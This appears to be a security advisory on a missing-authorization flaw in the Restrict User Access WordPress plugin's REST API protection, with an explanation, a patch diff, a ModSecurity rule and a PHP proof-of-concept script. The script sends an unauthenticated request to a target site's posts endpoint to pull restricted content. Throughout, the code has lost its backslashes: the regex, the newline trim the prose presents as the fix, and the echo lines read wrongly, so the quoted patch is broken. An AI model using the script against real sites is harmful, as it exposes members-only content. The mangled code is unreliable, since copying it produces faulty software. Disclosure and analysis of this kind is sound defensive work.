Atomic Edge analysis of CVE-2026-124271: The Restrict User Access plugin for WordPress (versions up to and including 2.8.3) contains a missing authorization vulnerability in its REST API content protection module. The flaw, classified as CWE-862, allows unauthenticated attackers to bypass content restrictions and access protected REST API routes. Atomic Edge research rates the severity as medium (CVSS 5.3) due to the potential for unauthorized information disclosure.
The root cause lies in the `RestApiContentProtection` module, specifically the `rest_api_access` method and the `restricted_rest_routes` generator. The `restricted_rest_routes` function constructed REST route paths manually using properties like `$post_type->rest_base` and `$taxonomy->rest_base`. If these properties were empty (e.g., due to misconfiguration or custom post types), the code would skip the route, leaving it unprotected. The patch replaces this logic with the WordPress core functions `rest_get_route_for_post_type_items` and `rest_get_route_for_taxonomy_items`, which always return the correct route. Additionally, the patch adds a trailing newline trim to the route path via `rtrim($request->get_route(), “n”)` to prevent bypasses using encoded newlines, and updates the minimum PHP and WordPress requirements. File paths and functions: `restrict-user-access/src/Module/RestApiContentProtection.php`, method `restricted_rest_routes` (lines 86-105 in vulnerable version) and `rest_api_access` (lines 35-60).
An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a protected REST API endpoint. The attacker does not need any authentication or special privileges. The attack vector is network-based (AV:N). By targeting a REST route that corresponds to a restricted post type or taxonomy (e.g., `/wp-json/wp/v2/posts` if posts are restricted), the attacker can retrieve sensitive content that should be restricted to members. The vulnerability is triggered because the `restricted_rest_routes` generator fails to include certain routes in the restricted list, causing the `rest_api_access` check to allow access (return null) instead of blocking it.
The patch fixes the vulnerability by replacing manual route construction with WordPress core functions that reliably determine the correct REST route for each post type and taxonomy. In the vulnerable version, the code skipped routes when `rest_base` was empty, but the patched version uses `rest_get_route_for_post_type_items` which always provides a valid route. The patch also removes the requirement for `rest_base` to be non-empty. Before the patch, a route like `/wp/v2/posts` might not be restricted if the post type’s `rest_base` was empty, allowing unauthorized access. After the patch, such routes are correctly included in the restricted list, and the authorization check blocks unauthorized users. The patch also trims trailing newlines from the requested route to prevent bypasses via URL-encoded newlines.
Successful exploitation allows unauthenticated attackers to access restricted content, potentially exposing sensitive information such as private posts, pages, or other protected data. This can lead to privacy breaches and unauthorized disclosure of membership-only content. The impact is limited to data exposure, as there is no evidence of privilege escalation or remote code execution.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/restrict-user-access/app.php
+++ b/restrict-user-access/app.php
@@ -16,7 +16,7 @@
/**
* Plugin version
*/
- const PLUGIN_VERSION = '2.8.3';
+ const PLUGIN_VERSION = '2.8.4';
/**
* Prefix for metadata
--- a/restrict-user-access/restrict-user-access.php
+++ b/restrict-user-access/restrict-user-access.php
@@ -8,11 +8,11 @@
* Plugin Name: Restrict User Access
* Plugin URI: https://dev.institute/wordpress-memberships/
* Description: Easily restrict content and contexts to provide exclusive access for specific Access Levels.
- * Version: 2.8.3
+ * Version: 2.8.4
* Author: DEV Institute
* Author URI: https://dev.institute
- * Requires at least: 5.8
- * Requires PHP: 7.4
+ * Requires at least: 6.1
+ * Requires PHP: 8.2
* Text Domain: restrict-user-access
* Domain Path: /lang/
* License: GPLv3
--- a/restrict-user-access/src/Module/RestApiContentProtection.php
+++ b/restrict-user-access/src/Module/RestApiContentProtection.php
@@ -18,7 +18,7 @@
private $settingRepository;
public function __construct(
- SettingRepositoryInterface $settingRepository
+ SettingRepositoryInterface $settingRepository
) {
$this->settingRepository = $settingRepository;
}
@@ -35,7 +35,7 @@
public function rest_api_access($result, WP_REST_Server $server, WP_REST_Request $request)
{
- //Dispatch has already been handled elsewhere
+ // Dispatch has already been handled elsewhere
if ($result !== null) {
return $result;
}
@@ -48,14 +48,14 @@
return null;
}
- //Contributor is the lowest role that should have access,
- //since they can see content in admin area
+ // Contributor is the lowest role that should have access,
+ // since they can see content in admin area
if (current_user_can('edit_posts')) {
return null;
}
- //Treat /resource/123 as /resource
- $route = preg_replace('#/d+$#', '', $request->get_route());
+ // Treat /resource/123 as /resource
+ $route = preg_replace('#/d+$#', '', rtrim($request->get_route(), "n"));
$route = $this->normalize_rest_route($route);
foreach ($this->restricted_rest_routes() as $restricted_route) {
@@ -86,30 +86,32 @@
'wp_navigation' => true,
];
- foreach (get_post_types(array('show_in_rest' => true), 'objects') as $post_type) {
- if (
- empty($post_type->rest_base) ||
- isset($ignored_post_types[ $post_type->name ])
- ) {
+ foreach (get_post_types(['show_in_rest' => true], 'objects') as $post_type) {
+ if (isset($ignored_post_types[$post_type->name])) {
continue;
}
- yield '/' . $post_type->rest_namespace . '/' . $post_type->rest_base;
+ $route = rest_get_route_for_post_type_items($post_type->name);
+
+ if ($route !== null && $route !== '') {
+ yield $route;
+ }
}
$ignored_taxonomies = [
'menu' => true,
];
- foreach (get_taxonomies(array('show_in_rest' => true), 'objects') as $taxonomy) {
- if (
- empty($taxonomy->rest_base) ||
- isset($ignored_taxonomies[ $taxonomy->name ])
- ) {
+ foreach (get_taxonomies(['show_in_rest' => true], 'objects') as $taxonomy) {
+ if (isset($ignored_taxonomies[$taxonomy->name])) {
continue;
}
- yield '/' . $taxonomy->rest_namespace . '/' . $taxonomy->rest_base;
+ $route = rest_get_route_for_taxonomy_items($taxonomy->name);
+
+ if ($route !== null && $route !== '') {
+ yield $route;
+ }
}
}
--- a/restrict-user-access/vendor/composer/installed.php
+++ b/restrict-user-access/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'intoxstudio/restrict-user-access',
- 'pretty_version' => '2.8.3',
- 'version' => '2.8.3.0',
- 'reference' => '9013c5b37283327ffe450dfd59bed6e68fb756b1',
+ 'pretty_version' => '2.8.4',
+ 'version' => '2.8.4.0',
+ 'reference' => '4261936c4d8f5f3df47cee65d55f51f384adf4b8',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'intoxstudio/restrict-user-access' => array(
- 'pretty_version' => '2.8.3',
- 'version' => '2.8.3.0',
- 'reference' => '9013c5b37283327ffe450dfd59bed6e68fb756b1',
+ 'pretty_version' => '2.8.4',
+ 'version' => '2.8.4.0',
+ 'reference' => '4261936c4d8f5f3df47cee65d55f51f384adf4b8',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-124271
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages)" "id:2026124271,phase:2,deny,status:403,msg:'CVE-2026-124271 via Restrict User Access plugin REST API',severity:'CRITICAL',tag:'CVE-2026-124271',chain"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule &REQUEST_HEADERS:Authorization "@eq 0" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124271 - Restrict User Access – Ultimate Membership & Content Protection <= 2.8.3 - Missing Authorization
// Configure the target WordPress site URL (no trailing slash).
$target_url = 'http://example.com';
// The REST API endpoint to test. Adjust based on the restricted content type.
// For example, if 'posts' are restricted, use '/wp-json/wp/v2/posts'.
$rest_endpoint = '/wp-json/wp/v2/posts';
// Initialize cURL session.
$ch = curl_init();
// Set cURL options.
curl_setopt($ch, CURLOPT_URL, $target_url . $rest_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors.
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
exit;
}
curl_close($ch);
// Output the result.
echo "HTTP Status Code: $http_coden";
echo "Response Body:n";
echo $response . "n";
// If the response contains restricted content (e.g., post titles or content),
// the vulnerability is present. If access is denied, the patch may be applied.
?>